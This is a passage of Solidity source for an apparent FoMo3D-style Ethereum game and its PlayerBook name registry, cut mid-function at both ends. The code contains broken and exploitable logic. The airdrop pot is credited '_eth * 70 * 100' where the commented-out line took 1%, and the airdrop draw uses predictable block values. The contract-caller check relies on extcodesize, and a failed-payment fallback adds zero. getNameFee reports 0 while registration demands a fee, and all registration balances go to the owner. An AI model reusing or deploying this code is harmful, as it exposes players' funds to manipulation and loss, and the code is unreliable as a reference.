plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _mkt = (_pot.mul(potSplit_[_winTID].marketing)) / 100;
uint256 _res = ((_pot.sub(_win)).sub(_com)).sub(_gen).sub(_mkt);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
_com = _com.add(_mkt);
if (!owner.send(_com)) {
_com = 0;
_res = _res.add(_com);
}
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.mktAmount = _mkt;
// _eventData_.comAmount = _com;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked((block.timestamp).add(block.difficulty).add((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add(block.gaslimit).add((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add(block.number))));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay 2% out to community rewards
uint256 _com = _eth / 50;
// distribute share to affiliate
uint256 _aff = _eth / 10;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
uint256 _mkt = _eth.mul(fees_[_team].marketing) / 100;
_com = _com.add(_mkt);
owner.transfer(_com);
_eventData_.mktAmount = _mkt;
// _eventData_.comAmount = _com;
return(_eventData_);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = _eth * 70 * 100 ;
//uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
uint256 cut = (fees_[_team].marketing).add(13);
_eth = _eth.sub(_eth.mul(cut) / 100);
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0) {
_gen = _gen.sub(_dust);
}
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.mktAmount,
// _eventData_.comAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public onlyOwner {
// make sure that its been linked.
// require(address(otherF3D_) != address(0), "must link to other FoMo3D first");
// can only be ran once
require(activated_ == false, "fomo3d already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
}
library F3Ddatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 mktAmount; // amount distributed for marketing
// uint256 comAmount;
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 marketing; // % of buy in thats paid for marketing
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 marketing; // % of pot thats paid to for marketing
}
}
library F3DKeysCalcLong {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
pragma solidity ^0.4.24;
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
pragma solidity ^0.4.24;
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
pragma solidity ^0.4.24;
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.24;
// "./PlayerBookReceiverInterface.sol";
// "./PlayerBookInterface.sol";
// "./SafeMath.sol";
// "./NameFilter.sol";
// 'openzeppelin-solidity/contracts/ownership/Ownable.sol';
contract PlayerBook is PlayerBookInterface, Ownable {
using NameFilter for string;
using SafeMath for uint256;
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) .
//=============================|================================================
uint256 public registrationFee_ = 0.01 ether; // price to register a name
mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games
mapping(address => bytes32) public gameNames_; // lookup a games name
mapping(address => uint256) public gameIDs_; // lokup a games ID
uint256 public gID_; // total number of games
uint256 public pID_; // total number of players
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own)
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// premine the dev names (sorry not sorry)
// No keys are purchased with this method, it's simply locking our addresses,
// PID's and names for referral codes.
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
//==============================================================================
// _ _ _ _|_ _ .
// (/_\/(/_| | | _\ .
//==============================================================================
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev registers a name. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who refered you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given, no new affiliate code was given, or the
// player tried to use their own pID as an affiliate code, lolz
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
// update last affiliate
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
// register name
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
/**
* @dev players, if you registered a profile, before a game was released, or
* set the all bool to false when you registered, use this function to push
* your profile to a single game. also, if you've updated your name, you
* can use this to push your name to games of your choosing.
* -functionhash- 0x81c5b206
* @param _gameID game id
*/
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
// add players profile and most recent name
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
// add list of all names
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
/**
* @dev players, use this to push your player profile to all registered games.
* -functionhash- 0x0c6940ea
*/
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
/**
* @dev players use this to change back to one of your old names. tip, you'll
* still need to push that info to existing games.
* -functionhash- 0xb9291296
* @param _nameString the name you want to use
*/
function useMyOldName(string _nameString)
isHuman()
public
{
// filter name, and get pID
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
// make sure they own the name
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
// update their current name
plyr_[_pID].name = _name;
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ .
//=====================_|=======================================================
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
// if names already has been used, require that current msg sender owns the name
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
// add name to player profile, registry, and name book
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
// registration fee goes directly to community rewards
// Wood_Inc.deposit.value(address(this).balance)();
uint fee = address(this).balance;
if (fee > 0) {
owner.send(fee);
}
// push player info to games
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
// fire event
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
// set the new player bool to true
return (true);
} else {
return (false);
}
}
//==============================================================================
// _ _|_ _ _ _ _ | _ _ || _ .
// (/_>< | (/_| | |(_|| (_(_|||_\ .
//==============================================================================
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(0);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given, no new affiliate code was given, or the
// player tried to use their own pID as an affiliate code, lolz
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
// update last affiliate
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
